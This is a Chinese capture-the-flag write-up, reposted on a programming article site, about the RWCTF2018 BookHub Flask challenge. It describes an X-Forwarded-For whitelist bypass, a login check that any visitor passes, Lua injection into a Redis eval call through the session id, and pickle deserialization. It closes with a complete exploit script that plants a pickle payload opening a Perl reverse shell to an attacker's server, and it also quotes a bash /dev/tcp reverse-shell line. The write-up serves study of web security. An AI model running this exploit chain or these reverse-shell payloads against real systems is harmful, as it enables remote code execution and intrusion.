内容简介:How to pwn bookhub?http://52.52.4.252:8080/hint: www.zip
Detail
How to pwn bookhub?
http://52.52.4.252:8080/
hint: www.zip
Writeup
0x01 Bypass IP
太垃圾了了,一开始掉进了XFF的坑里
./bookhub/forms.py
```python
class LoginForm(FlaskForm):
username = StringField('username', validators=[DataRequired()])
password = PasswordField('password', validators=[DataRequired()])
remember me = BooleanField('remember me', default=False)
def validate_password(self, field): address = get_remote_addr() whitelist = os.environ.get('WHITELIST_IPADDRESS', '10.0.0.1')
**./bookhub/helper.py** ```python def get_remote_addr(): address = flask.request.headers.get( 'X-Forwarded-For', flask.request.remote_addr) try: ipaddress.ip_address(address) except ValueError as e: op(e) return None else: return address
仔细看的时候才发现有个特殊的IP
扫一波端口发现 5000 ,访问后是新大陆
debug mode
0x02 Login or Unauthorized Access
有一次掉进坑里,事实上,如图源码里的 migrations ,数据库里面根本没有用户,还zz地爆破弱口令
./bookhub/models/user.py
```python
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(64), unique=True, nullable=False)
password = db.Column(db.String(128))
... @property def is_authenticated(self): return True
这个点是**flask_login**的点,`@login_required`判断的方法就是返回`is_authenticated`的值,也就是恒为真。 根本不需要登陆!!! ### 0x03 Redis & Lua Injection **./bookhub/views/user.py** ```python if app.debug: ... @login_required @user_blueprint.route('/admin/system/refresh_session/', methods=['POST']) def refresh_session(): status = 'success' sessionid = flask.session.sid prefix = app.config['SESSION_KEY_PREFIX'] if flask.request.form.get('submit', None) == '1': try: rds.eval(rf''' local function has_value (tab, val) for index, value in ipairs(tab) do if value == val then return true end end return false end local inputs = {{ "{prefix}{sessionid}" }} local sessions = redis.call("keys", "{prefix}*") for index, sid in ipairs(sessions) do if not has_value(inputs, sid) then redis.call("del", sid) end end ''', 0) except redis.exceptions.ResponseError as e: print(e) app.logger.exception(e) status = 'fail' return flask.jsonify(dict(status=status))
- sessionid = flask.session.sid
- rds.eval(...)
- local inputs = {{ "{prefix}{sessionid}" }}
- Lua Script Inject & ByPass del
这一步就4个点, sessionid 可控,并注入到 Lua脚本 被 redis.eval 执行,还得绕过 del
Test Pyaload :
lua -- 闭合语句 local inputs = { "{prefix}" } -- urlDecode 处理不可见字符 local function urlDecode(s) s=string.gsub(s,'%%(%x%x)',function(h) return string.char(tonumber(h, 16)) end) return s end -- 写payload redis.call("set","bookhub:session:sid",urlDecode("payload")) -- 绕过del并注释后面的内容 inputs ={ "bookhub:session:sid" } -- " }
注入语句是没有换行的,当然 Lua 脚本的格式也和换行无关
Pyaload :
lua " } local function urlDecode(s) s=string.gsub(s,'%%(%x%x)',function(h) return string.char(tonumber(h, 16)) end) return s end redis.call("set","bookhub:session:sid",urlDecode("payload")) inputs = { "bookhub:session:sid" } -- " }
其实一开始,没想到用 urlDecode ,Lua的十六进制用 \XX
而不是常见的 \xXX
,
神一般的操作
0x04 flask_session Pickle & Rebound Shell
#flask_session/sessions.py
python class RedisSessionInterface(SessionInterface): ... serializer = pickle ... def open_session(self, app, request): sid = request.cookies.get(app.session_cookie_name) ... val = self.redis.get(self.key_prefix + sid) if val is not None: try: data = self.serializer.loads(val) return self.session_class(data, sid=sid) except: return self.session_class(sid=sid, permanent=self.permanent) return self.session_class(sid=sid, permanent=self.permanent)
- serializer = pickle
- sid = request.cookies.get(app.session cookie name)
- data = self.serializer.loads(val)
明显的Python pickle 反序列化漏洞
class exp(object): def __reduce__(self): s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % ( listen_ip, listen_port) return (os.system, (s,))
服务器有毒,
s = """/bin/bash -i >& /dev/tcp/%s/%d 0>&1""" % ( listen_ip, listen_port), bash反弹 死活不成功
然后 perl 反弹成功了
Flag : rwctf{fl45k 1s a MAg1cal fr4mew0rk_t0000000000}
exp.py
# -*- coding:utf-8 -*- __AUTHOR__ = 'Virink' import os import sys import re import requests as req from urllib.parse import quote as urlencode try: import cPickle as pickle except ImportError: import pickle URL = "http://18.213.16.123:5000/" listen_ip = 'your_vps_ip' listen_port = 7979 class exp(object): def __reduce__(self): s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % ( listen_ip, listen_port) return (os.system, (s,)) if __name__ == '__main__': payload = urlencode(pickle.dumps([exp()])) # 插入payload并防止del sid = '\\" } local function urlDecode(s) s=string.gsub(s,\'%%(%x%x)\',function(h) return string.char(tonumber(h, 16)) end) return s end ' + \ 'redis.call(\\"set\\",\\"bookhub:session:qaq\\",urlDecode(\\"%s\\")) inputs = { \"bookhub:session:qaq\" } --' % ( payload) headers = {"Content-Type": "application/x-www-form-urlencoded"} # 注入payload headers["Cookie"] = 'bookhub-session="%s"' % sid res = req.get(URL + 'login/', headers=headers) if res.status_code == 200: r = re.findall(r'csrf_token" type="hidden" value="(.*?)">', res.content.decode('utf-8')) if r: # refresh_session headers['X-CSRFToken'] = r[0] data = {'submit': '1'} res = req.post(URL + 'admin/system/refresh_session/', data=data, headers=headers) if res.status_code == 200: # 触发RCE req.get(URL + 'login/', headers={'Cookie': 'bookhub-session=qaq'})
感想
- 我还是太弱了
- 我真的还是太弱了
- 太弱了
Web狗->没活路的样子,得熟悉各种语言的特性
膜 PHITHON 神鬼莫测的出题思路
- XFF绕CDN 的坑
- Login代码 的坑
- Lua 的坑
- 反弹 shell 的坑
就让比赛主题 Real World ,很坑但很真实。
神如Ph牛挖坑,菜鸡如我爬坑!
转载声明
本文首发于先知社区: RWCTF2018 BookHub Writeup & 爬坑感悟
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
跟我学Java Web
2010-9 / 58.00元
Java Web开发是目前最流行、使用最广泛的网站开发技术。《跟我学Java Web》通过对Java Web开发中所运用到的各种技术循序渐进地进行讲解,使读者能尽快掌握开发Web应用程序的方法。《跟我学Java Web》内容包括搭建Web开发环境、HTML相关技术基础知识、JavaScript相关技术基础知识、JSP技术基础知识、Servlet技术基础知识、搭建MySQL数据库开发环境、JDBC技......一起来看看 《跟我学Java Web》 这本书的介绍吧!
RGB转16进制工具
RGB HEX 互转工具
Base64 编码/解码
Base64 编码/解码